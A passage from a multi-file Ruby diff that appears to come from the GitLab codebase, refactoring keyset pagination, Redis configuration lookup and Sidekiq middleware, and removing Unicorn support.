+ items.pop if @has_another_page
+ items.reverse! if paginate_backward?
+ items
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ # This and has_previous_page? methods are direction aware. In case we paginate backwards,
+ # has_next_page? will mean that we have a previous page.
+ def has_next_page?
+ records
+
+ if at_last_page?
+ false
+ elsif paginate_forward?
+ @has_another_page
+ elsif paginate_backward?
+ true
+ end
+ end
+
+ def has_previous_page?
+ records
+
+ if at_first_page?
+ false
+ elsif paginate_backward?
+ @has_another_page
+ elsif paginate_forward?
+ true
+ end
+ end
+
+ def cursor_for_next_page
+ if has_next_page?
+ data = order.cursor_attributes_for_node(records.last)
+ data[direction_key] = FORWARD_DIRECTION
+ cursor_converter.dump(data)
+ else
+ nil
+ end
+ end
+
+ def cursor_for_previous_page
+ if has_previous_page?
+ data = order.cursor_attributes_for_node(records.first)
+ data[direction_key] = BACKWARD_DIRECTION
+ cursor_converter.dump(data)
+ end
+ end
+
+ def cursor_for_first_page
+ cursor_converter.dump({ direction_key => FORWARD_DIRECTION })
+ end
+
+ def cursor_for_last_page
+ cursor_converter.dump({ direction_key => BACKWARD_DIRECTION })
+ end
+
+ delegate :each, :empty?, :any?, to: :records
+
+ private
+
+ attr_reader :keyset_scope, :order, :per_page, :cursor_converter, :direction_key, :cursor_attributes
+
+ delegate :reversed_order, to: :order
+
+ def at_last_page?
+ @at_last_page
+ end
+
+ def at_first_page?
+ @at_first_page
+ end
+
+ def per_page_plus_one
+ per_page + 1
+ end
+
+ def decode_cursor_attributes(cursor)
+ cursor.blank? ? {} : cursor_converter.parse(cursor)
+ end
+
+ def set_pagination_helper_flags!
+ @direction = cursor_attributes.delete(direction_key.to_s)
+
+ if cursor_attributes.blank? && @direction.blank?
+ @at_first_page = true
+ @direction = FORWARD_DIRECTION
+ elsif cursor_attributes.blank?
+ if paginate_forward?
+ @at_first_page = true
+ else
+ @at_last_page = true
+ end
+ end
+ end
+
+ def paginate_backward?
+ @direction == BACKWARD_DIRECTION
+ end
+
+ def paginate_forward?
+ @direction == FORWARD_DIRECTION
+ end
+
+ def build_scope(scope)
+ keyset_aware_scope, success = Gitlab::Pagination::Keyset::SimpleOrderBuilder.build(scope)
+
+ raise(UnsupportedScopeOrder, 'The order on the scope does not support keyset pagination') unless success
+
+ keyset_aware_scope
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/pagination/keyset/simple_order_builder.rb b/lib/gitlab/pagination/keyset/simple_order_builder.rb
index 5ac5737c3be..76d6bbadaa4 100644
--- a/lib/gitlab/pagination/keyset/simple_order_builder.rb
+++ b/lib/gitlab/pagination/keyset/simple_order_builder.rb
@@ -26,6 +26,8 @@ module Gitlab
def build
order = if order_values.empty?
primary_key_descending_order
+ elsif Gitlab::Pagination::Keyset::Order.keyset_aware?(scope)
+ Gitlab::Pagination::Keyset::Order.extract_keyset_order_object(scope)
elsif ordered_by_primary_key?
primary_key_order
elsif ordered_by_other_column?
diff --git a/lib/gitlab/patch/action_dispatch_journey_formatter.rb b/lib/gitlab/patch/action_dispatch_journey_formatter.rb
deleted file mode 100644
index 2d3b7bb9923..00000000000
--- a/lib/gitlab/patch/action_dispatch_journey_formatter.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Patch
- module ActionDispatchJourneyFormatter
- def self.prepended(mod)
- mod.alias_method(:old_missing_keys, :missing_keys)
- mod.remove_method(:missing_keys)
- end
-
- private
-
- def missing_keys(route, parts)
- missing_keys = nil
- tests = route.path.requirements_for_missing_keys_check
- route.required_parts.each do |key|
- case tests[key]
- when nil
- unless parts[key]
- missing_keys ||= []
- missing_keys << key
- end
- else
- unless tests[key].match?(parts[key])
- missing_keys ||= []
- missing_keys << key
- end
- end
- end
- missing_keys
- end
- end
- end
-end
diff --git a/lib/gitlab/patch/global_id.rb b/lib/gitlab/patch/global_id.rb
new file mode 100644
index 00000000000..e99f36c7dca
--- /dev/null
+++ b/lib/gitlab/patch/global_id.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+# To support GlobalID arguments that present a model with its old "deprecated" name
+# we alter GlobalID so it will correctly find the record with its new model name.
+module Gitlab
+ module Patch
+ module GlobalID
+ def initialize(gid, options = {})
+ super
+
+ if deprecation = Gitlab::GlobalId::Deprecations.deprecation_for(model_name)
+ @new_model_name = deprecation.new_model_name
+ end
+ end
+
+ def model_name
+ new_model_name || super
+ end
+
+ private
+
+ attr_reader :new_model_name
+ end
+ end
+end
diff --git a/lib/gitlab/patch/hangouts_chat_http_override.rb b/lib/gitlab/patch/hangouts_chat_http_override.rb
new file mode 100644
index 00000000000..20dc678e251
--- /dev/null
+++ b/lib/gitlab/patch/hangouts_chat_http_override.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Patch
+ module HangoutsChatHTTPOverride
+ attr_reader :uri
+
+ # See https://github.com/enzinia/hangouts-chat/blob/6a509f61a56e757f8f417578b393b94423831ff7/lib/hangouts_chat/http.rb
+ def post(payload)
+ httparty_response = Gitlab::HTTP.post(
+ uri,
+ body: payload.to_json,
+ headers: { 'Content-Type' => 'application/json' },
+ parse: nil # Disables automatic response parsing
+ )
+ httparty_response.response
+ # The rest of the integration expects a Net::HTTP response
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/path_regex.rb b/lib/gitlab/path_regex.rb
index 8618d2da77c..16a6c470213 100644
--- a/lib/gitlab/path_regex.rb
+++ b/lib/gitlab/path_regex.rb
@@ -21,13 +21,11 @@ module Gitlab
500.html
502.html
503.html
- abuse_reports
admin
api
apple-touch-icon-precomposed.png
apple-touch-icon.png
assets
- autocomplete
dashboard
deploy.html
explore
@@ -38,7 +36,6 @@ module Gitlab
health_check
help
import
- invites
jwt
login
oauth
@@ -48,7 +45,6 @@ module Gitlab
robots.txt
s
search
- sent_notifications
sitemap
sitemap.xml
sitemap.xml.gz
diff --git a/lib/gitlab/profiler.rb b/lib/gitlab/profiler.rb
index 42f43f998c4..5c9b029a107 100644
--- a/lib/gitlab/profiler.rb
+++ b/lib/gitlab/profiler.rb
@@ -170,7 +170,7 @@ module Gitlab
def self.print_by_total_time(result, options = {})
default_options = { sort_method: :total_time, filter_by: :total_time }
- RubyProf::FlatPrinter.new(result).print(STDOUT, default_options.merge(options))
+ RubyProf::FlatPrinter.new(result).print($stdout, default_options.merge(options))
end
end
end
diff --git a/lib/gitlab/project_search_results.rb b/lib/gitlab/project_search_results.rb
index 6719dc8362b..e52023c4612 100644
--- a/lib/gitlab/project_search_results.rb
+++ b/lib/gitlab/project_search_results.rb
@@ -43,9 +43,20 @@ module Gitlab
end
end
+ # rubocop:disable CodeReuse/ActiveRecord
def users
- super.where(id: @project.team.members) # rubocop:disable CodeReuse/ActiveRecord
+ results = super
+
+ if @project.is_a?(Array)
+ team_members_for_projects = User.joins(:project_authorizations).where(project_authorizations: { project_id: @project })
+ results = results.where(id: team_members_for_projects)
+ else
+ results = results.where(id: @project.team.members)
+ end
+
+ results
end
+ # rubocop:enable CodeReuse/ActiveRecord
def limited_blobs_count
@limited_blobs_count ||= blobs(limit: count_limit).count
diff --git a/lib/gitlab/prometheus/adapter.rb b/lib/gitlab/prometheus/adapter.rb
index 45438d9bf7c..a977040ef6f 100644
--- a/lib/gitlab/prometheus/adapter.rb
+++ b/lib/gitlab/prometheus/adapter.rb
@@ -19,9 +19,6 @@ module Gitlab
end
def cluster_prometheus_adapter
- application = cluster&.application_prometheus
- return application if application&.available?
-
integration = cluster&.integration_prometheus
integration if integration&.available?
end
diff --git a/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb b/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
index b7d58e05651..b53fdd60606 100644
--- a/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
+++ b/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
@@ -155,6 +155,7 @@ module Gitlab
params '<1w 3d 2h 14m>'
types Issue, MergeRequest
condition do
+ quick_action_target.supports_time_tracking? &&
current_user.can?(:"admin_#{quick_action_target.to_ability_name}", project)
end
parse_params do |raw_duration|
@@ -177,6 +178,7 @@ module Gitlab
params '<time(1h30m | -1h30m)> <date(YYYY-MM-DD)>'
types Issue, MergeRequest
condition do
+ quick_action_target.supports_time_tracking? &&
current_user.can?(:"admin_#{quick_action_target.to_ability_name}", quick_action_target)
end
parse_params do |raw_time_date|
diff --git a/lib/gitlab/quick_actions/merge_request_actions.rb b/lib/gitlab/quick_actions/merge_request_actions.rb
index f3c6315cd6a..47c76e98e5c 100644
--- a/lib/gitlab/quick_actions/merge_request_actions.rb
+++ b/lib/gitlab/quick_actions/merge_request_actions.rb
@@ -99,7 +99,7 @@ module Gitlab
# Allow it to mark as WIP on MR creation page _or_ through MR notes.
(quick_action_target.new_record? || current_user.can?(:"update_#{quick_action_target.to_ability_name}", quick_action_target))
end
- command :draft, :wip do
+ command :draft do
@updates[:wip_event] = quick_action_target.work_in_progress? ? 'unwip' : 'wip'
end
diff --git a/lib/gitlab/reactive_cache_set_cache.rb b/lib/gitlab/reactive_cache_set_cache.rb
index 8a432edbd78..e62e1172b65 100644
--- a/lib/gitlab/reactive_cache_set_cache.rb
+++ b/lib/gitlab/reactive_cache_set_cache.rb
@@ -11,12 +11,16 @@ module Gitlab
end
def cache_key(key)
- "#{cache_type}:#{key}:set"
+ "#{cache_namespace}:#{key}:set"
+ end
+
+ def new_cache_key(key)
+ super(key)
end
def clear_cache!(key)
with do |redis|
- keys = read(key).map { |value| "#{cache_type}:#{value}" }
+ keys = read(key).map { |value| "#{cache_namespace}:#{value}" }
keys << cache_key(key)
redis.pipelined do
@@ -24,11 +28,5 @@ module Gitlab
end
end
end
-
- private
-
- def cache_type
- Gitlab::Redis::Cache::CACHE_NAMESPACE
- end
end
end
diff --git a/lib/gitlab/redis/cache.rb b/lib/gitlab/redis/cache.rb
index a634f12345a..98b66080b42 100644
--- a/lib/gitlab/redis/cache.rb
+++ b/lib/gitlab/redis/cache.rb
@@ -1,36 +1,16 @@
# frozen_string_literal: true
-# please require all dependencies below:
-require_relative 'wrapper' unless defined?(::Rails) && ::Rails.root.present?
-
module Gitlab
module Redis
class Cache < ::Gitlab::Redis::Wrapper
CACHE_NAMESPACE = 'cache:gitlab'
- DEFAULT_REDIS_CACHE_URL = 'redis://localhost:6380'
- REDIS_CACHE_CONFIG_ENV_VAR_NAME = 'GITLAB_REDIS_CACHE_CONFIG_FILE'
-
- class << self
- def default_url
- DEFAULT_REDIS_CACHE_URL
- end
-
- def config_file_name
- # if ENV set for this class, use it even if it points to a file does not exist
- file_name = ENV[REDIS_CACHE_CONFIG_ENV_VAR_NAME]
- return file_name unless file_name.nil?
-
- # otherwise, if config files exists for this class, use it
- file_name = config_file_path('redis.cache.yml')
- return file_name if File.file?(file_name)
- # this will force use of DEFAULT_REDIS_QUEUES_URL when config file is absent
- super
- end
+ private
- def instrumentation_class
- ::Gitlab::Instrumentation::Redis::Cache
- end
+ def raw_config_hash
+ config = super
+ config[:url] = 'redis://localhost:6380' if config[:url].blank?
+ config
end
end
end
diff --git a/lib/gitlab/redis/queues.rb b/lib/gitlab/redis/queues.rb
index 42d5167beb3..9e291a73bb6 100644
--- a/lib/gitlab/redis/queues.rb
+++ b/lib/gitlab/redis/queues.rb
@@ -1,37 +1,21 @@
# frozen_string_literal: true
-# please require all dependencies below:
+# We need this require for MailRoom
require_relative 'wrapper' unless defined?(::Gitlab::Redis::Wrapper)
+require 'active_support/core_ext/object/blank'
module Gitlab
module Redis
class Queues < ::Gitlab::Redis::Wrapper
SIDEKIQ_NAMESPACE = 'resque:gitlab'
MAILROOM_NAMESPACE = 'mail_room:gitlab'
- DEFAULT_REDIS_QUEUES_URL = 'redis://localhost:6381'
- REDIS_QUEUES_CONFIG_ENV_VAR_NAME = 'GITLAB_REDIS_QUEUES_CONFIG_FILE'
- class << self
- def default_url
- DEFAULT_REDIS_QUEUES_URL
- end
+ private
- def config_file_name
- # if ENV set for this class, use it even if it points to a file does not exist
- file_name = ENV[REDIS_QUEUES_CONFIG_ENV_VAR_NAME]
- return file_name if file_name
-
- # otherwise, if config files exists for this class, use it
- file_name = config_file_path('redis.queues.yml')
- return file_name if File.file?(file_name)
-
- # this will force use of DEFAULT_REDIS_QUEUES_URL when config file is absent
- super
- end
-
- def instrumentation_class
- ::Gitlab::Instrumentation::Redis::Queues
- end
+ def raw_config_hash
+ config = super
+ config[:url] = 'redis://localhost:6381' if config[:url].blank?
+ config
end
end
end
diff --git a/lib/gitlab/redis/shared_state.rb b/lib/gitlab/redis/shared_state.rb
index 2848c9f0b59..d62516bd287 100644
--- a/lib/gitlab/redis/shared_state.rb
+++ b/lib/gitlab/redis/shared_state.rb
@@ -1,8 +1,5 @@
# frozen_string_literal: true
-# please require all dependencies below:
-require_relative 'wrapper' unless defined?(::Gitlab::Redis::Wrapper)
-
module Gitlab
module Redis
class SharedState < ::Gitlab::Redis::Wrapper
@@ -10,30 +7,13 @@ module Gitlab
USER_SESSIONS_NAMESPACE = 'session:user:gitlab'
USER_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:user:gitlab'
IP_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:ip:gitlab2'
- DEFAULT_REDIS_SHARED_STATE_URL = 'redis://localhost:6382'
- REDIS_SHARED_STATE_CONFIG_ENV_VAR_NAME = 'GITLAB_REDIS_SHARED_STATE_CONFIG_FILE'
-
- class << self
- def default_url
- DEFAULT_REDIS_SHARED_STATE_URL
- end
-
- def config_file_name
- # if ENV set for this class, use it even if it points to a file does not exist
- file_name = ENV[REDIS_SHARED_STATE_CONFIG_ENV_VAR_NAME]
- return file_name if file_name
-
- # otherwise, if config files exists for this class, use it
- file_name = config_file_path('redis.shared_state.yml')
- return file_name if File.file?(file_name)
- # this will force use of DEFAULT_REDIS_SHARED_STATE_URL when config file is absent
- super
- end
+ private
- def instrumentation_class
- ::Gitlab::Instrumentation::Redis::SharedState
- end
+ def raw_config_hash
+ config = super
+ config[:url] = 'redis://localhost:6382' if config[:url].blank?
+ config
end
end
end
diff --git a/lib/gitlab/redis/trace_chunks.rb b/lib/gitlab/redis/trace_chunks.rb
new file mode 100644
index 00000000000..a2e77cb5df5
--- /dev/null
+++ b/lib/gitlab/redis/trace_chunks.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Redis
+ class TraceChunks < ::Gitlab::Redis::Wrapper
+ # The data we store on TraceChunks used to be stored on SharedState.
+ def self.config_fallback
+ SharedState
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/redis/wrapper.rb b/lib/gitlab/redis/wrapper.rb
index 94ab67ef08a..bbcc2732e89 100644
--- a/lib/gitlab/redis/wrapper.rb
+++ b/lib/gitlab/redis/wrapper.rb
@@ -1,16 +1,16 @@
# frozen_string_literal: true
# This file should only be used by sub-classes, not directly by any clients of the sub-classes
-# please require all dependencies below:
+
+# Explicitly load parts of ActiveSupport because MailRoom does not load
+# Rails.
require 'active_support/core_ext/hash/keys'
require 'active_support/core_ext/module/delegation'
+require 'active_support/core_ext/string/inflections'
module Gitlab
module Redis
class Wrapper
- DEFAULT_REDIS_URL = 'redis://localhost:6379'
- REDIS_CONFIG_ENV_VAR_NAME = 'GITLAB_REDIS_CONFIG_FILE'
-
class << self
delegate :params, :url, to: :new
@@ -51,33 +51,47 @@ module Gitlab
end
end
- def default_url
- DEFAULT_REDIS_URL
+ def config_file_path(filename)
+ path = File.join(rails_root, 'config', filename)
+ return path if File.file?(path)
end
- # Return the absolute path to a Rails configuration file
- #
- # We use this instead of `Rails.root` because for certain tasks
- # utilizing these classes, `Rails` might not be available.
- def config_file_path(filename)
- File.expand_path("../../../config/#{filename}", __dir__)
+ # We need this local implementation of Rails.root because MailRoom
+ # doesn't load Rails.
+ def rails_root
+ File.expand_path('../../..', __dir__)
end
def config_file_name
- # if ENV set for wrapper class, use it even if it points to a file does not exist
- file_name = ENV[REDIS_CONFIG_ENV_VAR_NAME]
- return file_name unless file_name.nil?
+ [
+ # Instance specific config sources:
+ ENV["GITLAB_REDIS_#{store_name.underscore.upcase}_CONFIG_FILE"],
+ config_file_path("redis.#{store_name.underscore}.yml"),
+
+ # The current Redis instance may have been split off from another one
+ # (e.g. TraceChunks was split off from SharedState). There are
+ # installations out there where the lowest priority config source
+ # (resque.yml) contains bogus values. In those cases, config_file_name
+ # should resolve to the instance we originated from (the
+ # "config_fallback") rather than resque.yml.
+ config_fallback&.config_file_name,
+
+ # Global config sources:
+ ENV['GITLAB_REDIS_CONFIG_FILE'],
+ config_file_path('resque.yml')
+ ].compact.first
+ end
- # otherwise, if config files exists for wrapper class, use it
- file_name = config_file_path('resque.yml')
- return file_name if File.file?(file_name)
+ def store_name
+ name.demodulize
+ end
- # nil will force use of DEFAULT_REDIS_URL when config file is absent
+ def config_fallback
nil
end
def instrumentation_class
- raise NotImplementedError
+ "::Gitlab::Instrumentation::Redis::#{store_name}".constantize
end
end
@@ -135,7 +149,7 @@ module Gitlab
if config_data
config_data.is_a?(String) ? { url: config_data } : config_data.deep_symbolize_keys
else
- { url: self.class.default_url }
+ { url: '' }
end
end
diff --git a/lib/gitlab/regex.rb b/lib/gitlab/regex.rb
index ccb4f6e1097..a31f574fad2 100644
--- a/lib/gitlab/regex.rb
+++ b/lib/gitlab/regex.rb
@@ -138,7 +138,8 @@ module Gitlab
end
def helm_version_regex
- @helm_version_regex ||= %r{#{prefixed_semver_regex}}.freeze
+ # identical to semver_regex, with optional preceding 'v'
+ @helm_version_regex ||= Regexp.new("\\Av?#{::Gitlab::Regex.unbounded_semver_regex.source}\\z", ::Gitlab::Regex.unbounded_semver_regex.options)
end
def unbounded_semver_regex
diff --git a/lib/gitlab/repository_set_cache.rb b/lib/gitlab/repository_set_cache.rb
index f73ac628bce..a20e9845fe6 100644
--- a/lib/gitlab/repository_set_cache.rb
+++ b/lib/gitlab/repository_set_cache.rb
@@ -17,6 +17,11 @@ module Gitlab
"#{type}:#{namespace}:set"
end
+ # NOTE Remove as part of #331319
+ def new_cache_key(type)
+ super("#{type}:#{namespace}")
+ end
+
def write(key, value)
full_key = cache_key(key)
diff --git a/lib/gitlab/runtime.rb b/lib/gitlab/runtime.rb
index b0bcea0ca69..f60cac0aff0 100644
--- a/lib/gitlab/runtime.rb
+++ b/lib/gitlab/runtime.rb
@@ -15,8 +15,7 @@ module Gitlab
:rails_runner,
:rake,
:sidekiq,
- :test_suite,
- :unicorn
+ :test_suite
].freeze
class << self
@@ -36,11 +35,6 @@ module Gitlab
!!defined?(::Puma)
end
- # For unicorn, we need to check for actual server instances to avoid false positives.
- def unicorn?
- !!(defined?(::Unicorn) && defined?(::Unicorn::HttpServer))
- end
-
def sidekiq?
!!(defined?(::Sidekiq) && Sidekiq.server?)
end
@@ -66,7 +60,7 @@ module Gitlab
end
def web_server?
- puma? || unicorn?
+ puma?
end
def action_cable?
diff --git a/lib/gitlab/saas.rb b/lib/gitlab/saas.rb
new file mode 100644
index 00000000000..8d9d8415cb1
--- /dev/null
+++ b/lib/gitlab/saas.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+# This module is used to return various SaaS related configurations
+# which may be overridden in other variants of GitLab
+
+module Gitlab
+ module Saas
+ def self.com_url
+ 'https://gitlab.com'
+ end
+
+ def self.staging_com_url
+ 'https://staging.gitlab.com'
+ end
+
+ def self.subdomain_regex
+ %r{\Ahttps://[a-z0-9]+\.gitlab\.com\z}.freeze
+ end
+
+ def self.dev_url
+ 'https://dev.gitlab.org'
+ end
+ end
+end
+
+Gitlab::Saas.prepend_mod
diff --git a/lib/gitlab/set_cache.rb b/lib/gitlab/set_cache.rb
index 0f2b7b194c9..30cd63e80c0 100644
--- a/lib/gitlab/set_cache.rb
+++ b/lib/gitlab/set_cache.rb
@@ -14,15 +14,21 @@ module Gitlab
"#{key}:set"
end
+ # NOTE Remove as part of https://gitlab.com/gitlab-org/gitlab/-/issues/331319
+ def new_cache_key(key)
+ "#{cache_namespace}:#{key}:set"
+ end
+
# Returns the number of keys deleted by Redis
def expire(*keys)
return 0 if keys.empty?
with do |redis|
- keys = keys.map { |key| cache_key(key) }
+ keys_to_expire = keys.map { |key| cache_key(key) }
+ keys_to_expire += keys.map { |key| new_cache_key(key) } # NOTE Remove as part of #331319
Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
- redis.unlink(*keys)
+ redis.unlink(*keys_to_expire)
end
end
end
@@ -73,5 +79,9 @@ module Gitlab
def with(&blk)
Gitlab::Redis::Cache.with(&blk) # rubocop:disable CodeReuse/ActiveRecord
end
+
+ def cache_namespace
+ Gitlab::Redis::Cache::CACHE_NAMESPACE
+ end
end
end
diff --git a/lib/gitlab/setup_helper.rb b/lib/gitlab/setup_helper.rb
index 3ac20724403..7ed1958a8d0 100644
--- a/lib/gitlab/setup_helper.rb
+++ b/lib/gitlab/setup_helper.rb
@@ -129,7 +129,7 @@ module Gitlab
config[:'gitaly-ruby'] = { dir: File.join(gitaly_dir, 'ruby') } if gitaly_ruby
config[:'gitlab-shell'] = { dir: Gitlab.config.gitlab_shell.path }
- config[:bin_dir] = Gitlab.config.gitaly.client_path
+ config[:bin_dir] = File.join(gitaly_dir, '_build', 'bin') # binaries by default are in `_build/bin`
config[:gitlab] = { url: Gitlab.config.gitlab.url }
config[:logging] = { dir: Rails.root.join('log').to_s }
@@ -153,8 +153,14 @@ module Gitlab
second_storage_nodes = [{ storage: 'test_second_storage', address: "unix:#{gitaly_dir}/gitaly2.socket", primary: true, token: 'secret' }]
storages = [{ name: 'default', node: nodes }, { name: 'test_second_storage', node: second_storage_nodes }]
- failover = { enabled: false }
- config = { socket_path: "#{gitaly_dir}/praefect.socket", memory_queue_enabled: true, virtual_storage: storages, failover: failover }
+ failover = { enabled: false, election_strategy: 'local' }
+ config = {
+ i_understand_my_election_strategy_is_unsupported_and_will_be_removed_without_warning: true,
+ socket_path: "#{gitaly_dir}/praefect.socket",
+ memory_queue_enabled: true,
+ virtual_storage: storages,
+ failover: failover
+ }
config[:token] = 'secret' if Rails.env.test?
TomlRB.dump(config)
diff --git a/lib/gitlab/sidekiq_cluster/cli.rb b/lib/gitlab/sidekiq_cluster/cli.rb
index 9490d543dd1..e20834fa912 100644
--- a/lib/gitlab/sidekiq_cluster/cli.rb
+++ b/lib/gitlab/sidekiq_cluster/cli.rb
@@ -22,7 +22,7 @@ module Gitlab
CommandError = Class.new(StandardError)
- def initialize(log_output = STDERR)
+ def initialize(log_output = $stderr)
require_relative '../../../lib/gitlab/sidekiq_logging/json_formatter'
# As recommended by https://github.com/mperham/sidekiq/wiki/Advanced-Options#concurrency
@@ -47,12 +47,6 @@ module Gitlab
option_parser.parse!(argv)
- # Remove with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- if @queue_selector && @experimental_queue_selector
- raise CommandError,
- 'You cannot specify --queue-selector and --experimental-queue-selector together'
- end
-
worker_metadatas = SidekiqConfig::CliMethods.worker_metadatas(@rails_path)
worker_queues = SidekiqConfig::CliMethods.worker_queues(@rails_path)
@@ -63,8 +57,7 @@ module Gitlab
# as a worker attribute query, and resolve the queues for the
# queue group using this query.
- # Simplify with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- if @queue_selector || @experimental_queue_selector
+ if @queue_selector
SidekiqConfig::CliMethods.query_queues(queues_or_query_string, worker_metadatas)
else
SidekiqConfig::CliMethods.expand_queues(queues_or_query_string.split(','), worker_queues)
@@ -194,11 +187,6 @@ module Gitlab
@queue_selector = queue_selector
end
- # Remove with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- opt.on('--experimental-queue-selector', 'DEPRECATED: use --queue-selector-instead') do |experimental_queue_selector|
- @experimental_queue_selector = experimental_queue_selector
- end
-
opt.on('-n', '--negate', 'Run workers for all queues in sidekiq_queues.yml except the given ones') do
@negate_queues = true
end
diff --git a/lib/gitlab/sidekiq_config/worker_router.rb b/lib/gitlab/sidekiq_config/worker_router.rb
index 946296a24d3..0670e5521df 100644
--- a/lib/gitlab/sidekiq_config/worker_router.rb
+++ b/lib/gitlab/sidekiq_config/worker_router.rb
@@ -40,7 +40,7 @@ module Gitlab
# queue defined in the input routing rules. The input routing rules, as
# described above, is an order-matter array of tuples [query, queue_name].
#
- # - The query syntax is the same as the "queue selector" detailedly
+ # - The query syntax follows "worker matching query" detailedly
# denoted in doc/administration/operations/extra_sidekiq_processes.md.
#
# - The queue_name must be a valid Sidekiq queue name. If the queue name
diff --git a/lib/gitlab/sidekiq_logging/logs_jobs.rb b/lib/gitlab/sidekiq_logging/logs_jobs.rb
index 6f8cc1c60e9..cfe91b9a266 100644
--- a/lib/gitlab/sidekiq_logging/logs_jobs.rb
+++ b/lib/gitlab/sidekiq_logging/logs_jobs.rb
@@ -14,6 +14,9 @@ module Gitlab
job = job.except('error_backtrace', 'error_class', 'error_message')
job['class'] = job.delete('wrapped') if job['wrapped'].present?
+ job['job_size_bytes'] = Sidekiq.dump_json(job['args']).bytesize
+ job['args'] = ['[COMPRESSED]'] if ::Gitlab::SidekiqMiddleware::SizeLimiter::Compressor.compressed?(job)
+
# Add process id params
job['pid'] = ::Process.pid
diff --git a/lib/gitlab/sidekiq_logging/structured_logger.rb b/lib/gitlab/sidekiq_logging/structured_logger.rb
index 87fb36d04e9..32194c4926e 100644
--- a/lib/gitlab/sidekiq_logging/structured_logger.rb
+++ b/lib/gitlab/sidekiq_logging/structured_logger.rb
@@ -55,8 +55,6 @@ module Gitlab
scheduling_latency_s = ::Gitlab::InstrumentationHelper.queue_duration_for_job(payload)
payload['scheduling_latency_s'] = scheduling_latency_s if scheduling_latency_s
- payload['job_size_bytes'] = Sidekiq.dump_json(job).bytesize
-
payload
end
diff --git a/lib/gitlab/sidekiq_middleware.rb b/lib/gitlab/sidekiq_middleware.rb
index c5b980769f0..30741f29563 100644
--- a/lib/gitlab/sidekiq_middleware.rb
+++ b/lib/gitlab/sidekiq_middleware.rb
@@ -9,6 +9,8 @@ module Gitlab
# eg: `config.server_middleware(&Gitlab::SidekiqMiddleware.server_configurator)`
def self.server_configurator(metrics: true, arguments_logger: true, memory_killer: true)
lambda do |chain|
+ # Size limiter should be placed at the top
+ chain.add ::Gitlab::SidekiqMiddleware::SizeLimiter::Server
chain.add ::Gitlab::SidekiqMiddleware::Monitor
chain.add ::Gitlab::SidekiqMiddleware::ServerMetrics if metrics
chain.add ::Gitlab::SidekiqMiddleware::ArgumentsLogger if arguments_logger
@@ -18,6 +20,7 @@ module Gitlab
chain.add ::Gitlab::SidekiqMiddleware::BatchLoader
chain.add ::Labkit::Middleware::Sidekiq::Server
chain.add ::Gitlab::SidekiqMiddleware::InstrumentationLogger
+ chain.add ::Gitlab::Database::LoadBalancing::SidekiqServerMiddleware if load_balancing_enabled?
chain.add ::Gitlab::SidekiqMiddleware::AdminMode::Server
chain.add ::Gitlab::SidekiqVersioning::Middleware
chain.add ::Gitlab::SidekiqStatus::ServerMiddleware
@@ -39,9 +42,13 @@ module Gitlab
# Size limiter should be placed at the bottom, but before the metrics midleware
chain.add ::Gitlab::SidekiqMiddleware::SizeLimiter::Client
chain.add ::Gitlab::SidekiqMiddleware::ClientMetrics
+ chain.add ::Gitlab::Database::LoadBalancing::SidekiqClientMiddleware if load_balancing_enabled?
end
end
+
+ def self.load_balancing_enabled?
+ ::Gitlab::Database::LoadBalancing.enable?
+ end
+ private_class_method :load_balancing_enabled?
end
end
-
-Gitlab::SidekiqMiddleware.singleton_class.prepend_mod_with('Gitlab::SidekiqMiddleware')
diff --git a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
index 79ac853ea0c..4cf540ce3b8 100644
--- a/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
+++ b/lib/gitlab/sidekiq_middleware/duplicate_jobs/duplicate_job.rb
@@ -19,6 +19,7 @@ module Gitlab
class DuplicateJob
DUPLICATE_KEY_TTL = 6.hours
DEFAULT_STRATEGY = :until_executing
+ STRATEGY_NONE = :none
attr_reader :existing_jid
@@ -51,6 +52,8 @@ module Gitlab
end
end
+ job['idempotency_key'] = idempotency_key
+
self.existing_jid = read_jid.value
end
@@ -100,6 +103,7 @@ module Gitlab
def strategy
return DEFAULT_STRATEGY unless worker_klass
return DEFAULT_STRATEGY unless worker_klass.respond_to?(:idempotent?)
+ return STRATEGY_NONE unless worker_klass.deduplication_enabled?
worker_klass.get_deduplicate_strategy
end
@@ -117,7 +121,7 @@ module Gitlab
end
def idempotency_key
- @idempotency_key ||= "#{namespace}:#{idempotency_hash}"
+ @idempotency_key ||= job['idempotency_key'] || "#{namespace}:#{idempotency_hash}"
end
def idempotency_hash
@@ -129,6 +133,10 @@ module Gitlab
end
def idempotency_string
+ # TODO: dump the argument's JSON using `Sidekiq.dump_json` instead
+ # this should be done in the next release so all jobs are written
+ # with their idempotency key.
+ # see https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1090
"#{worker_class_name}:#{arguments.join('-')}"
end
end
diff --git a/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb b/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb
index b542aa4fe4c..1f0c63c5fff 100644
--- a/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb
+++ b/lib/gitlab/sidekiq_middleware/instrumentation_logger.rb
@@ -3,24 +3,6 @@
module Gitlab
module SidekiqMiddleware
class InstrumentationLogger
- def self.keys
- @keys ||= [
- :cpu_s,
- :gitaly_calls,
- :gitaly_duration_s,
- :rugged_calls,
- :rugged_duration_s,
- :elasticsearch_calls,
